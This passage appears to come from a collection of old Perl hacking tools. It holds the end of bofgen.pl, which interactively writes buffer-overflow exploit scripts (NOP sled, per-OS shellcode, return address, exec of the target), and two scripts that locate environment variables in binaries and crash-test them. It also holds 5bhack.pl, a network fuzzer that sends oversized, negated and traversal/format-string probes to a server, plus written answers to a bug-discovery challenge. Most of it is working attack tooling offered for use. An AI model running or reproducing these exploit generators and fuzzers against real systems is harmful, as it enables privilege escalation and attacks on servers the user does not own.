  6643. print "offset [$default{offset}]: ";
  6644. chomp($exploit{offset} = <STDIN>);
  6645. $exploit{offset} = $default{offset} if $exploit{offset} eq '';
  6646. }
  6647.  
  6648. while ($exploit{len} !~ /^\d+$/) {
  6649. print "* length to overwrite %eip (without the +100): ";
  6650. chomp($exploit{len} = <STDIN>);
  6651. }
  6652. $exploit{len} += 100;
  6653.  
  6654. while ($exploit{rmenv} !~ /^(1|0)$/) {
  6655. print "remove all environment variables before executing program (1 = true, 0 = false) [$default{rmenv}]: ";
  6656. chomp($exploit{rmenv} = <STDIN>);
  6657. $exploit{rmenv} = $default{rmenv} if $exploit{rmenv} eq '';
  6658. }
  6659.  
  6660. while ($exploit{type} !~ /^(1|2)$/) {
  6661. print "* type of buffer overflow, 1 = arguement, 2 = environment: ";
  6662. chomp($exploit{type} = <STDIN>);
  6663. }
  6664.  
  6665. for ($i = 1; $i <= @{$exploit{osnums}}; $i += 2) {
  6666. print "$i = $exploit{osnums}[$i-1]\t\t";
  6667. if ($exploit{osnums}[$i]) {
  6668. print ($i + 1);
  6669. print " = $exploit{osnums}[$i]";
  6670. }
  6671. print "\n";
  6672. }
  6673. while ($exploit{os} !~ /^(\s*\d+\s*)+$/) {
  6674. print "* enter the OSs you would like support for (enter numbers, whitespace seperated): ";
  6675. chomp($exploit{os} = <STDIN>);
  6676. }
  6677. foreach (split(/\s+/, $exploit{os})) {
  6678. push(@{$exploit{oss}}, $exploit{osnums}[$_-1]);
  6679. }
  6680.  
  6681. print "preceding arguements (before buffer overflow, if any): ";
  6682. chomp($exploit{parg} = <STDIN>);
  6683.  
  6684. do {
  6685. print "insert environment variable (key name, if any - not buffer overflow key): ";
  6686. chomp($tmp = <STDIN>);
  6687. if ($tmp) {
  6688. print "insert environment data for key $tmp: ";
  6689. chomp($exploit{keys}{$tmp} = <STDIN>);
  6690. }
  6691. } while ($tmp);
  6692.  
  6693. while ($exploit{aoff} !~ /^(1|0)$/) {
  6694. print "accept an offset from the user in command line (1 = true, 0 = false) [$default{aoff}]: ";
  6695. chomp($exploit{aoff} = <STDIN>);
  6696. $exploit{aoff} = $default{aoff} if $exploit{aoff} eq '';
  6697. }
  6698.  
  6699. if ($exploit{aoff}) {
  6700. while ($exploit{roff} !~ /^(1|0)$/) {
  6701. print "require an offset from the user in command line (1 = true, 0 = false) [$default{roff}]: ";
  6702. chomp($exploit{roff} = <STDIN>);
  6703. $exploit{roff} = $default{roff} if $exploit{roff} eq '';
  6704. }
  6705. }
  6706.  
  6707. while ($exploit{aret} !~ /^(1|0)$/) {
  6708. print "accept a return address from the user in command line (1 = true, 0 = false) [$default{aret}]: ";
  6709. chomp($exploit{aret} = <STDIN>);
  6710. $exploit{aret} = $default{aret} if $exploit{aret} eq '';
  6711. }
  6712.  
  6713. if ($exploit{aret}) {
  6714. while ($exploit{rret} !~ /^(1|0)$/) {
  6715. print "require a return address from the user in command line (1 = true, 0 = false) [$default{rret}]: ";
  6716. chomp($exploit{rret} = <STDIN>);
  6717. $exploit{rret} = $default{rret} if $exploit{rret} eq '';
  6718. }
  6719. }
  6720.  
  6721. if ($exploit{type} == 2) {
  6722. while (!$exploit{key}) {
  6723. print "enter key to use to store buffer: ";
  6724. chomp($exploit{key} = <STDIN>);
  6725. }
  6726. }
  6727.  
  6728. $scdata = '%shellcode = (';
  6729. for ($i = 0; $i < @{$exploit{oss}}; $i++) {
  6730. $scdata .= "\n\t$exploit{oss}[$i]\t=>\n$shellcode{$exploit{oss}[$i]},\n";
  6731. }
  6732. $scdata .= ");\n\n\@os = (";
  6733. for ($i = 0; $i < @{$exploit{oss}}; $i++) {
  6734. $scdata .= "\n\t\"$exploit{oss}[$i]\",";
  6735. }
  6736. $scdata .= "\n);";
  6737.  
  6738. $argdata = "<OS #> ";
  6739. $argnum = 1;
  6740. $argmax = 1;
  6741. if ($exploit{aoff}) {
  6742. if ($exploit{roff}) {
  6743. $argdata .= "<-o offset> ";
  6744. $argnum += 2;
  6745. $argmax += 2;
  6746. }
  6747. else {
  6748. $argdata .= "[-o offset] ";
  6749. $argmax += 2;
  6750. }
  6751. }
  6752. if ($exploit{aret}) {
  6753. if ($exploit{rret}) {
  6754. $argdata .= "<-r return address> ";
  6755. $argnum += 2;
  6756. $argmax += 2;
  6757. }
  6758. else {
  6759. $argdata .= "[-r return address] ";
  6760. $argmax += 2;
  6761. }
  6762. }
  6763.  
  6764. print "\n";
  6765. $comment = << "EOF";
  6766.  
  6767. #
  6768. # $exploit{name} - generated by bofgen.pl by CommPort5 [\@LucidX.com]
  6769. # a buffer overflow exploit generation program
  6770. # http://bofgen.LucidX.com
  6771. #
  6772. EOF
  6773.  
  6774. $data = << "EOF";
  6775. #!/usr/bin/perl
  6776. $comment
  6777. (\$osn, \$offset, \$ret) = &check;
  6778.  
  6779. $scdata
  6780.  
  6781. \$len = $exploit{len};
  6782. \$nop = "$exploit{nop}";
  6783.  
  6784. for (\$i = 0; \$i < (\$len - length(\$shellcode{\$os[\$osn-1]}) - 100); \$i++) {
  6785. \$buffer .= \$nop;
  6786. }
  6787.  
  6788. \$buffer .= \$shellcode{\$os[\$osn-1]};
  6789. \$addr = pack('l', (\$ret + \$offset));
  6790. for (\$i += length(\$shellcode{\$os[\$osn-1]}); \$i < \$len; \$i += 4) {
  6791. \$buffer .= \$addr;
  6792. }
  6793.  
  6794. EOF
  6795.  
  6796. if ($exploit{rmenv}) {
  6797. $data .= "foreach (keys(\%ENV)) {\n delete \$ENV{\$_};\n}\n";
  6798. }
  6799.  
  6800. foreach (keys(%{$exploit{keys}})) {
  6801. $data .= "\$ENV{$_} = \"$exploit{keys}{$_}\";\n";
  6802. }
  6803.  
  6804. if ($exploit{type} == 1) {
  6805. $data .= "\nexec(\"$exploit{path}\", ";
  6806. foreach (split(/\s+/, $exploit{parg})) {
  6807. $data .= "\"$_\", ";
  6808. }
  6809. $data .= "\$buffer);\n";
  6810. }
  6811. else {
  6812. $data .= "\n\$ENV{$exploit{key}} = \$buffer;\nexec(\"$exploit{path}\"";
  6813. foreach (split(/\s+/, $exploit{parg})) {
  6814. $data .= ", \"$_\"";
  6815. }
  6816. $data .= ");\n";
  6817. }
  6818.  
  6819. $data .= << "EOF";
  6820.  
  6821.  
  6822. sub check {
  6823. \$ret = $exploit{ret};
  6824. \$offset = $exploit{offset};
  6825. if (\@ARGV < $argnum or \@ARGV > $argmax) {
  6826. &error;
  6827. }
  6828. \$osn = shift(\@ARGV);
  6829. for (\$i = 0; \$i < \@ARGV; \$i++) {
  6830. if (\$ARGV[\$i] =~ /^[^-]/ && \$ARGV[\$i-1] =~ /^[^-]/) {
  6831. &error;
  6832. }
  6833. if (\$ARGV[\$i] =~ /^-/) {
  6834. if (\$ARGV[\$i] =~ /^-(o|r)\$/i) {
  6835. if (\$1 eq 'o') {
  6836. \$offset = \$ARGV[\$i+1];
  6837. }
  6838. elsif (\$1 eq 'r') {
  6839. \$ret = \$ARGV[\$i+1];
  6840. }
  6841. }
  6842. else {
  6843. &error;
  6844. }
  6845. }
  6846. }
  6847. return(\$osn, \$offset, \$ret);
  6848. }
  6849.  
  6850. sub error {
  6851. print STDERR "usage: \$0 $argdata\\n" if \@ARGV < $argnum;
  6852. EOF
  6853.  
  6854. for ($i = 1; $i <= @{$exploit{oss}}; $i++) {
  6855. $data .= " print STDERR \" $i = $exploit{oss}[$i-1]\\n\";\n";
  6856. }
  6857. $data .= " die \"\\n\";\n}\n";
  6858. $data .= $comment;
  6859.  
  6860. open(EXPLOIT, ">$exploit{name}") or die "Can't open $exploit{name} for writing: $!\n";
  6861. print EXPLOIT $data;
  6862. close(EXPLOIT);
  6863.  
  6864. print STDERR "Exploit saved in $exploit{name}\n";
  6865. die "\n- made by bofgen.pl - http://bofgen.LucidX.com - CommPort5\@LucidX.com -\n";
  6866.  
  6867. # h4w h4w h4w
  6868. # -cp5
  6869.  
  6870.  
  6871. #!/usr/bin/perl
  6872.  
  6873. # getenvs.pl - by CommPort5 [@LucidX.com]
  6874. # this is a hacked up and nice version of v9's getenv program
  6875. # so credits go to him
  6876.  
  6877. $SIG{INT} = \&data;
  6878. $SIG{'TSTP'} = \&data;
  6879.  
  6880. die "usage: $0 < /path/to/binary >\n" unless @ARGV == 1;
  6881.  
  6882. @ignore = split(/\s+/,
  6883. "TTOU TTIN TSTP STOP CONT CHLD STKFLT ALRM PIPE USR2 SEGV USR1 KILL FPE BUS IOT ABRT TRAP ILL QUIT INT HUP _DYNAMIC _GLOBAL_OFFSET_TABLE_ --");
  6884.  
  6885. print "getenvs.pl :: finds environment variables in binary programs\n";
  6886.  
  6887. &readbinary(@ARGV);
  6888. &data;
  6889. exit(0);
  6890.  
  6891. sub readbinary {
  6892. open(BINARY, shift) || die "Can't open file: $!\n";
  6893. @read = <BINARY>;
  6894. close(BINARY);
  6895. $i = 0;
  6896. $tokens = @read;
  6897. while ($read[$i]) {
  6898. @tmpread = split(chr(0), $read[$i]);
  6899. $tokens = @tmpread;
  6900. $j = -1;
  6901. while ($j < $tokens) {
  6902. $j++;
  6903. $k = 0;
  6904. while (isvalid(substr($tmpread[$j], $k, 1)) && length($tmpread[$j]) > 1) {
  6905. if ($k + 1 == length($tmpread[$j])) {
  6906. $m = 0;
  6907. @s = @ignore;
  6908. $l = 0;
  6909. while ($s[$l]) {
  6910. if ($s[$l] eq $tmpread[$j]) {
  6911. $m++;
  6912. }
  6913. $l++;
  6914. }
  6915. @s = split(/,/, $result);
  6916. $l = 0;
  6917. while ($s[$l]) {
  6918. if ($s[$l] eq $tmpread[$j] || $s[$l] eq " $tmpread[$j]") {
  6919. $m++;
  6920. }
  6921. $l++;
  6922. }
  6923. if (!$m && substr($tmpread[$j], 0, 3) ne "SIG" && substr($tmpread[$j], 0, 2) ne "__" &&
  6924. substr($tmpread[$j], length($tmpread[$j]) - 2, 2) ne "__") {
  6925. if (!$result) {
  6926. $result = $tmpread[$j];
  6927. }
  6928. else {
  6929. $result = "$result, $tmpread[$j]";
  6930. }
  6931. }
  6932. }
  6933. $k++;
  6934. }
  6935. }
  6936. $i++;
  6937. }
  6938. }
  6939.  
  6940. sub data {
  6941. if ($result) {
  6942. print "possible ENV variables: $result\n";
  6943. }
  6944. else {
  6945. print "no typical ENV variables found.\n";
  6946. }
  6947. }
  6948.  
  6949. sub isvalid {
  6950. $char = substr(shift, 0, 1);
  6951. if (ord($char) > 64 && ord($char) < 91 || ord($char) > 47 && ord($char) < 58 || ord($char) == 45 || ord($char) == 95) {
  6952. return 1;
  6953. }
  6954. return 0;
  6955. }
  6956.  
  6957.  
  6958. #!/usr/bin/perl
  6959.  
  6960. # testenvs.pl - by CommPort5 [@LucidX.com]
  6961. # some of this code is a hacked up version of v9's getenv program
  6962. # for finding envs in binary programs
  6963.  
  6964. $SIG{INT} = \&data;
  6965. $SIG{'TSTP'} = \&data;
  6966.  
  6967. die "usage: $0 < /path/to/binary >\n" unless @ARGV == 1;
  6968.  
  6969. @ignore = split(/\s+/,
  6970. "TERM USER TTOU TTIN TSTP STOP CONT CHLD STKFLT ALRM PIPE USR2 SEGV USR1 KILL FPE BUS IOT ABRT TRAP ILL QUIT INT HUP _DYNAMIC _GLOBAL_OFFSET_TABLE_ --");
  6971.  
  6972. print "testenvs.pl :: tests environment variables in binary programs for buffer overflows\n";
  6973.  
  6974. open(BINARY, shift) || die "Can't open file: $!\n";
  6975. @read = <BINARY>;
  6976. close(BINARY);
  6977. $i = 0;
  6978. $tokens = @read;
  6979. while ($read[$i]) {
  6980. @tmpread = split(chr(0), $read[$i]);
  6981. $tokens = @tmpread;
  6982. $j = -1;
  6983. while ($j < $tokens) {
  6984. $j++;
  6985. $k = 0;
  6986. while (isvalid(substr($tmpread[$j], $k, 1)) && length($tmpread[$j]) > 1) {
  6987. if ($k + 1 == length($tmpread[$j])) {
  6988. $m = 0;
  6989. @s = @ignore;
  6990. $l = 0;
  6991. while ($s[$l]) {
  6992. if ($s[$l] eq $tmpread[$j]) {
  6993. $m++;
  6994. }
  6995. $l++;
  6996. }
  6997. @s = split(/,/, $result);
  6998. $l = 0;
  6999. while ($s[$l]) {
  7000. if ($s[$l] eq $tmpread[$j] || $s[$l] eq " $tmpread[$j]") {
  7001. $m++;
  7002. }
  7003. $l++;
  7004. }
  7005. if (!$m && substr($tmpread[$j], 0, 3) ne "SIG" && substr($tmpread[$j], 0, 2) ne "__" &&
  7006. substr($tmpread[$j], length($tmpread[$j]) - 2, 2) ne "__") {
  7007. if (!$result) {
  7008. $result = $tmpread[$j];
  7009. }
  7010. else {
  7011. $result = "$result, $tmpread[$j]";
  7012. }
  7013. }
  7014. }
  7015. $k++;
  7016. }
  7017. }
  7018. $i++;
  7019. }
  7020.  
  7021. &data;
  7022.  
  7023. sub data {
  7024. if ($result) {
  7025. foreach (split(/,\s*/, $result)) {
  7026. $ENV{$_} = "A" x 2500;
  7027. }
  7028. exec("$ARGV[0] " . "A" x 2500);
  7029. }
  7030. else {
  7031. print "no typical ENV variables found.\nattempt arguement overflows manually [and environment, if any].\n";
  7032. }
  7033. }
  7034.  
  7035. sub isvalid {
  7036. $char = substr(shift, 0, 1);
  7037. if (ord($char) > 64 && ord($char) < 91 || ord($char) > 47 && ord($char) < 58 || ord($char) == 45 || ord($char) == 95) {
  7038. return 1;
  7039. }
  7040. return 0;
  7041. }
  7042. http://www.samy.pl/bofgen/
  7043.  
  7044. #!/usr/bin/perl
  7045.  
  7046. # Caezar's Challenge 5b - by h1kari and CommPort5.
  7047. # Shouts to BasharTeg for his help with the bug list and question answers.
  7048. #
  7049. # 5bhack.pl v0.01 - discovers common bugs within ascii based tcp protocols
  7050. # using captured sessions and generic protocol information.
  7051. #
  7052. # this is an extremely generalized proof-of-concept, so manual checking of the
  7053. # results must be done for accurate detection. possible future features should
  7054. # include more intelligent protocol support and intuitive scripting for
  7055. # protocol-specific symantics.
  7056. #
  7057. # NOTE: capture file must be in a format compatible to the sample capture file
  7058. # included
  7059.  
  7060. # config vars
  7061. my $maxread = 4096;
  7062. my $recvtout = 0.1;
  7063. my $vulnchkstr = '../../../../../.../..../...../*?+[]^$(){}\'";<>|%s%d%p%n';
  7064. my $_5ba_incr = 4096;
  7065. my $_5ba_tries = 3;
  7066. my $_5bg_tries = 10;
  7067. my $_5bg_tout = 0.1;
  7068.  
  7069. # parse input and initialize
  7070. use Net::Telnet;
  7071.  
  7072. ($ARGV[2]) or
  7073. die "5bhack.pl - for caezar's challenge's question 5b - by h1kari and CommPort5.\n".
  7074. "usage: $0 <capture file> <host> <port> <tests a-i> [verbose level]\n".
  7075. " verbose:\n".
  7076. " 0/undef - only print necessary information\n".
  7077. " 1 - print high verbose for necessary information\n".
  7078. " 2 - print lower-risk information\n".
  7079. " 3 - print high verbose for lower-risk information\n";
  7080.  
  7081. require $ARGV[0];
  7082. my $host = $ARGV[1];
  7083. my $ip = &host2ip($host);
  7084. my $port = $ARGV[2];
  7085. my @tests = split //, $ARGV[3];
  7086. my $verbose = $ARGV[4];
  7087.  
  7088. # run tests
  7089. for(@tests)
  7090. {
  7091. if($_ =~ /^[a-i]$/)
  7092. {
  7093. print "----------------[ running test 5b$_....\n";
  7094. eval "&try_5b$_";
  7095. }
  7096. }
  7097.  
  7098. # 5ba functions
  7099. sub try_5ba
  7100. {
  7101. for(1..$_5ba_tries)
  7102. {
  7103. my @sessions = &get_5ba_sessions(($_ * $_5ba_incr) + 1);
  7104. &send_std_session(1, \@sessions);
  7105. }
  7106. }
  7107.  
  7108. sub get_5ba_sessions
  7109. {
  7110. my $size = @_[0];
  7111. my(@sessions, $i, $j, $k);
  7112. $i = 0;
  7113.  
  7114. foreach $j (0..$#send)
  7115. {
  7116. my @words = split /$sepregex+/, $send[$j];
  7117. foreach $k (0..$#words)
  7118. {
  7119. my @words_temp = @words;
  7120. $words_temp[$k] = $words_temp[$k] ."A"x($size - length($words_temp[$k]));
  7121. @{$sessions[$i]} = @send;
  7122. $sessions[$i++][$j] = join $seperator, @words_temp;
  7123. }
  7124. }
  7125.  
  7126. return @sessions;
  7127. }
  7128.  
  7129. # 5bb functions
  7130. sub try_5bb
  7131. {
  7132. my @sessions = &get_5bb_sessions;
  7133. &send_std_session(2, \@sessions);
  7134. }
  7135.  
  7136. sub get_5bb_sessions
  7137. {
  7138. my(@sessions, $i, $j, $k, $l, %nums);
  7139. $i = 0;
  7140.  
  7141. foreach $j (0..$#send)
  7142. {
  7143. my @words = split /$sepregex+/, $send[$j];
  7144. foreach $k (0..$#words)
  7145. {
  7146. if($words[$k] =~ /^\-?[0-9]+$/)
  7147. {
  7148. $nums{$words[$k]} = 1;
  7149. }
  7150. }
  7151. }
  7152.  
  7153. foreach $j (0..$#send)
  7154. {
  7155. my @words = split /$sepregex+/, $send[$j];
  7156. foreach $k (0..$#words)
  7157. {
  7158. if($words[$k] =~ /^\-?[0-9]+$/)
  7159. {
  7160. my @words_temp = @words;
  7161. foreach $l (keys(%nums))
  7162. {
  7163. if($words_temp[$k] == $l) { next }
  7164. $words_temp[$k] = $l;
  7165. @{$sessions[$i]} = @send;
  7166. $sessions[$i++][$j] = join $seperator, @words_temp;
  7167. }
  7168. }
  7169. }
  7170. }
  7171.  
  7172. return @sessions;
  7173. }
  7174.  
  7175. # 5bc functions
  7176. sub try_5bc
  7177. {
  7178. my @sessions = &get_5bc_sessions;
  7179. &send_std_session(1, \@sessions);
  7180. }
  7181.  
  7182. sub get_5bc_sessions
  7183. {
  7184. my(@sessions, $i, $j, $k);
  7185. $i = 0;
  7186.  
  7187. foreach $j (0..$#send)
  7188. {
  7189. my @words = split/$sepregex+/, $send[$j];
  7190. foreach $k (0..$#words)
  7191. {
  7192. if($words[$k] =~ /^\-?[0-9]+$/)
  7193. {
  7194. my @words_temp = @words;
  7195. # first replace with 0
  7196. if($words[$k] != 0)
  7197. {
  7198. $words_temp[$k] = 0;
  7199. @{$sessions[$i]} = @send;
  7200. $sessions[$i++][$j] = join $seperator, @words_temp;
  7201. }
  7202. # then with the inverse of the number or -1 if it's 0.
  7203. ($words_temp[$k] ? ($words_temp[$k] *= -1) : ($words_temp[$k] = -1));
  7204. @{$sessions[$i]} = @send;
  7205. $sessions[$i++][$j] = join $seperator, @words_temp;
  7206. }
  7207. }
  7208. }
  7209.  
  7210. return @sessions;
  7211. }
  7212.  
  7213. # 5bd functions
  7214. sub try_5bd
  7215. {
  7216. my $i;
  7217. my @sessions = &get_5bd_sessions;
  7218.  
  7219. # implementation isn't the best, but it outlines what needs to be done.
  7220. foreach $i (0..$#sessions)
  7221. {
  7222. my(@temp_send, @temp_sessions);
  7223. @{$temp_send[0]} = @send;
  7224. @{$temp_sessions[0]} = @{$sessions[$i]};
  7225. if(!fork)
  7226. {
  7227. &send_std_session(0, \@temp_sessions);
  7228. exit;
  7229. }
  7230. &send_std_session(1, \@temp_send);
  7231. # wait until child process is reaped
  7232. while(wait != -1) { wait }
  7233. }
  7234. }
  7235.  
  7236. sub get_5bd_sessions
  7237. {
  7238. my(@sessions, $i, $l, $combos);
  7239. $i = 0;
  7240.  
  7241. $l = newcombo main(@send);
  7242. while(@{$sessions[$i++]} = $l->nextcombo) { }
  7243.  
  7244. return @sessions;
  7245. }
  7246.  
  7247. # 5be functions
  7248. sub try_5be
  7249. {
  7250. my $i;
  7251. my @sessions = &get_5be_sessions;
  7252. &send_std_session(1, \@sessions);
  7253. }
  7254.  
  7255. sub get_5be_sessions
  7256. {
  7257. my(@sessions, $i, $l, $combos);
  7258. $i = 0;
  7259.  
  7260. $l = newcombo main(@send);
  7261. while(@{$sessions[$i++]} = $l->nextcombo) { }
  7262.  
  7263. return @sessions;
  7264. }
  7265.  
  7266. # 5bf functions
  7267. sub try_5bf
  7268. {
  7269. my @sessions = &get_5bf_sessions;
  7270. &send_std_session(2, \@sessions);
  7271. }
  7272.  
  7273. sub get_5bf_sessions
  7274. {
  7275. my(@sessions, $i, $j, $k);
  7276. $i = 0;
  7277.  
  7278. foreach $j (0..$#send)
  7279. {
  7280. my @words = split /$sepregex+/, $send[$j];
  7281. foreach $k (0..$#words)
  7282. {
  7283. my @words_temp = @words;
  7284. # lets try adding the vuln checking string to both the front and end
  7285. $words_temp[$k] = $words[$k] .$vulnchkstr;
  7286. @{$sessions[$i]} = @send;
  7287. $sessions[$i++][$j] = join $seperator, @words_temp;
  7288. $words_temp[$k] = $vulnchkstr. $words[$k];
  7289. @{$sessions[$i]} = @send;
  7290. $sessions[$i++][$j] = join $seperator, @words_temp;
  7291. }
  7292. }
  7293.  
  7294. return @sessions;
  7295. }
  7296.  
  7297. # 5bg functions
  7298. sub try_5bg
  7299. {
  7300. my $temp_tout = $recvtout;
  7301. my($sessions, $recvs) = &get_5bg_sessions;
  7302.  
  7303. &send_std_session(1, $sessions, $recvs);
  7304. }
  7305.  
  7306. sub get_5bg_sessions
  7307. {
  7308. my(@sessions, @recvs, $i, $j, $k);
  7309. $i = 0;
  7310.  
  7311. foreach $j (0..$#send)
  7312. {
  7313. if(!$send[$j]) { next }
  7314.  
  7315. $k = 0;
  7316. for(0..$#send)
  7317. {
  7318. if($_ == $j)
  7319. {
  7320. for(0..$_5bg_tries)
  7321. {
  7322. $sessions[$i][$k] = $send[$j];
  7323. $recvs[$i][$k++] = $recv[$j];
  7324. }
  7325. }
  7326. else
  7327. {
  7328. $sessions[$i][$k] = $send[$_];
  7329. $recvs[$i][$k++] = $recv[$_];
  7330. }
  7331. }
  7332. $i++;
  7333. }
  7334.  
  7335. return(\@sessions, \@recvs);
  7336. }
  7337.  
  7338. # 5bh functions
  7339. sub try_5bh
  7340. {
  7341. my @sessions = &get_5bh_sessions;
  7342. &send_std_session(2, \@sessions);
  7343. }
  7344.  
  7345. sub get_5bh_sessions
  7346. {
  7347. my(@sessions, $i, $j, $k);
  7348. $i = 0;
  7349.  
  7350. foreach $j (0..$#send)
  7351. {
  7352. my @words = split/$sepregex+/, $send[$j];
  7353. foreach $k (0..$#words)
  7354. {
  7355. if($words[$k] =~ /^\-?[0-9]+$/ && $words[$k] != 0)
  7356. {
  7357. my @words_temp = @words;
  7358. # then with the inverse of the number or -1 if it's 0.
  7359. $words_temp[$k] *= -1;
  7360. @{$sessions[$i]} = @send;
  7361. $sessions[$i++][$j] = join $seperator, @words_temp;
  7362. }
  7363. }
  7364. }
  7365.  
  7366. return @sessions;
  7367. }
  7368.  
  7369. # 5bi functions
  7370. sub try_5bi
  7371. {
  7372. my @sessions = &get_5bi_sessions;
  7373. &send_std_session(2, \@sessions);
  7374. }
  7375.  
  7376. sub get_5bi_sessions
  7377. {
  7378. my(@sessions, $i, $j, $k);
  7379. $i = 0;
  7380.  
  7381. foreach $j (0..$#send)
  7382. {
  7383. my @words = split /$sepregex+/, $send[$j];
  7384. foreach $k (0..$#words)
  7385. {
  7386. my @words_temp = @words;
  7387. $words_temp[$k] = &urlescape($words[$k]);
  7388. @{$sessions[$i]} = @send;
  7389. $sessions[$i++][$j] = join $seperator, @words_temp;
  7390. # lets try adding the vuln checking string to both the front and end
  7391. $words_temp[$k] = &urlescape($words[$k] .$vulnchkstr);
  7392. @{$sessions[$i]} = @send;
  7393. $sessions[$i++][$j] = join $seperator, @words_temp;
  7394. $words_temp[$k] = &urlescape($vulnchkstr. $words[$k]);
  7395. @{$sessions[$i]} = @send;
  7396. $sessions[$i++][$j] = join $seperator, @words_temp;
  7397. }
  7398. }
  7399.  
  7400. return @sessions;
  7401. }
  7402.  
  7403. # general functionality
  7404. sub connectto
  7405. {
  7406. my $t = new Net::Telnet(
  7407. Host => $host,
  7408. Port => $port,
  7409. Telnetmode => 0,
  7410. Timeout => $recvtout);
  7411. $t->errmode('return');
  7412. $t->open();
  7413. return $t;
  7414. }
  7415.  
  7416. # 5b sending functions
  7417. # errlevel == 1, check for disconnect
  7418. # errlevel == 2, check for different responses
  7419. # search == 1, check only the first word in the string
  7420. # search == -1, search the full recv string
  7421. sub send_std_session
  7422. {
  7423. my $errlevel = $_[0];
  7424. my @sessions = @{$_[1]};
  7425. my @recvs = @{$_[2]};
  7426. my($i, $j, @responses);
  7427.  
  7428. foreach $i (0..$#sessions)
  7429. {
  7430. my $err = 0;
  7431. my $t = &connectto;
  7432. my @temp_recvs = defined($_[2]) ? @{$recvs[$i]} : @recv;
  7433.  
  7434.  
  7435. foreach $j (0..$#temp_recvs)
  7436. {
  7437. if($err == 1) { next }
  7438. # wait for receive before flushing input.
  7439. ($sessions[$i][$j]) and $t->print($sessions[$i][$j]);
  7440. my $line = $t->getline;
  7441. while($t->getline) { }
  7442. $line =~ s/[\r\n]+$//g; $line =~ s/[\r\n]+/\\n/g;
  7443.  
  7444. if($temp_recvs[$j] =~ /^([^$sepregex]+)/)
  7445. {
  7446. my $search = &escaperegex($1);
  7447. $search =~ s/[\r\n]+/\\n/g;
  7448.  
  7449. if(!defined($line) && ($errlevel == 1 || $verbose > 1))
  7450. {
  7451. print "------[ ! connection closed, sent: $sessions[$i][$j], ".
  7452. "expect: $1, recv: $line\n";
  7453. &printsessverbose(\@{$sessions[$i]}, \@{$responses[$i]})
  7454. if(($errlevel == 1 && $verbose > 0) ||
  7455. ($errlevel == 2 && $verbose > 2));
  7456. $err = 1;
  7457. }
  7458. if(defined($line) &&
  7459. ($line !~ /$search/ && ($errlevel == 2 || $verbose > 1)))
  7460. {
  7461. print "------[ ! sent: $sessions[$i][$j], expect: $1, recv: $line\n";
  7462. &printsessverbose(\@{$sessions[$i]}, \@{$responses[$i]})
  7463. if(($errlevel == 2 && $verbose > 0) ||
  7464. ($errlevel == 1 && $verbose > 2));
  7465. }
  7466. $responses[$i][$j] = $line;
  7467. }
  7468. }
  7469. $t->close();
  7470. }
  7471. }
  7472.  
  7473. # misc functions
  7474. sub host2ip
  7475. {
  7476. return join(".", unpack("C4", (gethostbyname($_[0]))[4]));
  7477. }
  7478.  
  7479. sub escaperegex
  7480. {
  7481. my $search = $_[0];
  7482. $search =~ s/([^0-9a-zA-Z])/\\$1/g;
  7483. return $search;
  7484. }
  7485.  
  7486. sub urlescape
  7487. {
  7488. my $url = $_[0];
  7489. $url =~ s/(.)/sprintf("%%%x", ord($1))/eg;
  7490. return $url;
  7491. }
  7492.  
  7493. sub printsessverbose
  7494. {
  7495. my @sessions = @{$_[0]};
  7496. my @responses = @{$_[1]};
  7497. my $k;
  7498.  
  7499. foreach $k (0..$#responses)
  7500. {
  7501. ($sessions[$k]) and print "--[ send $k: $sessions[$k]\n";
  7502. ($responses[$k]) and print "--[ recv $k: $responses[$k]\n";
  7503. }
  7504. }
  7505.  
  7506. # combinations oop functions
  7507. sub newcombo
  7508. {
  7509. $class = shift;
  7510. $list = [ @_ ];
  7511. bless [$list, [0 .. $#$list]], $class;
  7512. }
  7513.  
  7514. sub nextcombo
  7515. {
  7516. $self = shift;
  7517. $list = $self->[0];
  7518. $tot = $self->[1];
  7519. return unless @$tot;
  7520. @next = @$tot;
  7521. @end = pop @next;
  7522. while (@next && $next[-1] > $end[-1])
  7523. {
  7524. push(@end, pop(@next));
  7525. }
  7526. if (defined($extra = pop(@next)))
  7527. {
  7528. ($place) = grep $extra < $end[$_], 0 .. $#end;
  7529. ($extra, $end[$place]) = ($end[$place], $extra);
  7530. $self->[1] = [@next, $extra, @end];
  7531. }
  7532. else
  7533. {
  7534. $self->[1] = [];
  7535. }
  7536. return @$list[@$tot];
  7537. }
  7538.  
  7539.  
  7540. 5b. Automatic Exploit Discovery -
  7541.  
  7542. 1. Identify classifications of common software bugs as specifically as possible
  7543. 2. Name a theoretical example of each bug, ideally in "ASCII over TCP" protocols
  7544. 3. Describe an algorithm for automating remote detection of those bugs in client-server software. Assume that you have a working copy of server software, captured images of valid transactions and reasonable hardware. Ideal situations will need no knowledge of the protocol grammar beyond word and seperator characters.
  7545.  
  7546.  
  7547. The Answers -
  7548.  
  7549. a1. Failure to validate input buffer lengths
  7550. a2. In POP3 authentication, username input may not be length-validated.
  7551. a3. Most buffer overflows can be detected in ASCII protocols by replaying a captured session repeatedly, replacing one word each time with a 4097 character word.
  7552. - check for disconnect
  7553.  
  7554. b1. Fencepost a.k.a. Off by one counting errors
  7555. b2. In POP3 message retrieval, there could be an off-by-one error in the number of retreivable messages.
  7556. b3. Off-by-one errors can be detected by replaying a captured session with each numeric client-side word replaced with each previously seen numeric server words.
  7557. - check for different response
  7558.  
  7559. c1. Null Pointers, Dereferencing, Page Fault
  7560. c2. In POP3, deleting or retreiving message 0 without checking, or executing commands out of order might cause null pointers to be used.
  7561. c3. Null Pointers can be detected by replaying a captured session and executing the commands in a different order, or by replacing numerical words with 0 or negative numbers.
  7562. - check for disconnect
  7563.  
  7564. d1. Race Conditions
  7565. d2. In POP3 race conditions may occur when mail is received or removed and counters are modified while being read or written to by other connected clients.
  7566. d3. Race Conditions can be detected by replaying a captured session in a control process and executing other captured sessions with the commands put in various orders at the same time and looking for unexpected results. (e.g., run your control process without a second test process, then re-run with the test process running concurrently and check for deviations with the results).
  7567. - check for deviations
  7568.  
  7569. e1. Using uninitialized variables/memory
  7570. e2. In POP3 validation of protocol order may not be checked, sending your password before username or executing commands out of order may cause uninitialized variables to be used.
  7571. e3. Using uninitialized variables/memory can be detected by replaying a captured session with the client-side commands put in different order.
  7572. - check for disconnect
  7573.  
  7574. f1. Poorly implemented input matching
  7575. f2. In HTTP, failure to check filenames that might attempt a directory traversal ".." or unexpected characters or strings passed to cgi applications.
